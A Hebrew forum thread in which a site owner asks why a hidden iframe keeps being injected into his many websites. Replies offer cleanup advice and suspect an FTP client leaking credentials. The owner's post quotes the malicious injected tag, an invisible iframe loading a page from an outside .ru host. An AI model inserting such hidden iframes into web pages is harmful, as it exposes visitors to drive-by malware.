Facebook
Twitter
RSS554
צפיות
צפיות
5
תשובות
תשובות
וירוס שממשיך לחזור
שלום
יש לי מעל 100 אתרי אינטרנט
וכמעט כולם נפגעו עם וירוס
הוירוס שותל IFRAME בדף הראשי
התקנתי 4 אנטי וירוסים במחשב שלי
והוא ללא וירוסים
ה- IFRAME שהם שותלים הוא:
<iframe src="http://x5o.ru:8080/index.php" width=183 height=139 style="visibility: hidden"></iframe>
מה ניתן לעשות?
5 תשובות
תשובה
תבדוק איך הם מדביקים לך את האתר.
אם חור אבטחה בשרת, באתר וכו'.
"החיים הם רק הדרך במסע הנפש", בילד 2004-2008 <img src='/images/6.gif'>
http://Www.Torec.Net * http://Www.Torec.In
בדיקה
בשרת אומרים שזה וירוס שיושב על המחשב שלי ומזהה סיסמאות
אבל קניתי את כל האנטי וירוסים שהם המליצו והם לא מצאו כלום
וגם שיניתי סיסמאות
תשובה
וירוס שנכנס לאתרים בהם אתה גולש ומדביק אותם?
אם כך, כל אתר אמור להיות אצלך עם וירוס כביכול ..
תריץ בדיקה עם התוכנה Malwarebytes' Anti-Malware.
היא נחשבת לאחת הטובות. מוצאת הרבה דברים שאנטי וירוסים לא מוצאים.
"החיים הם רק הדרך במסע הנפש", בילד 2004-2008 <img src='/images/6.gif'>
http://Www.Torec.Net * http://Www.Torec.In
תודה אני אבדוק
היה לי כזה וירוס פעם
הוא השתיל iframe בקצה כל דף.
בדרך כלל הוא היה עושה את זה בדפים בעלי שמות כדוגמת:
index, default, head, main
וכדומה.
קודם כל כמובן אתה חייב לעבור על כל דפי האתר ולחפש את השורה שהוירוס הוסיף ולמחוק אותה. מומלץ לעשות עם תוכנות כדוגמת visual studio אבל אני מאמין שאולי יהיו דרכים טובות יותר.
בנוגע לזיהוי מקור הבעייה אז צריך ללכת שלב שלב:
1) בעייה בשרת.
לא סביר מכיוון שבשרתי אחסון מותקנים תוכנות האנטי וירוס הטובות ביותר והם מתוחזקים על בסיס קבוע.
2) וירוס שמותקן על המחשב שלך.
גם כן לא סביר. כי נניח שיש לך וירוס על המחשב שהתחמק מהאנטי וירוס עדיין מהיכן לעזאזל הוא ישיג שם משתמש וסיסמא לשרת ה FTP שלך???
3) תוכנת הFTP שאתה משתמש בה שולחת את הסיסמאות שלך ואת פרטי ההתחברות שלך לשרתי הFTP לשרת של האקר ופעם בכמה זמן האקר מפעיל תוכנה שעוברת על כל השרתים שבמאגר שלו ומבצעת שינויים בקבצים.
האפשרות השלישית נראית לי הכי סבירה.
לכן החלפתי את תוכנות הFTP החינמיות שהשתמשתי בהן לתוכנה בעלת מוניטין יותר גבוה ומאז הכל בסדר.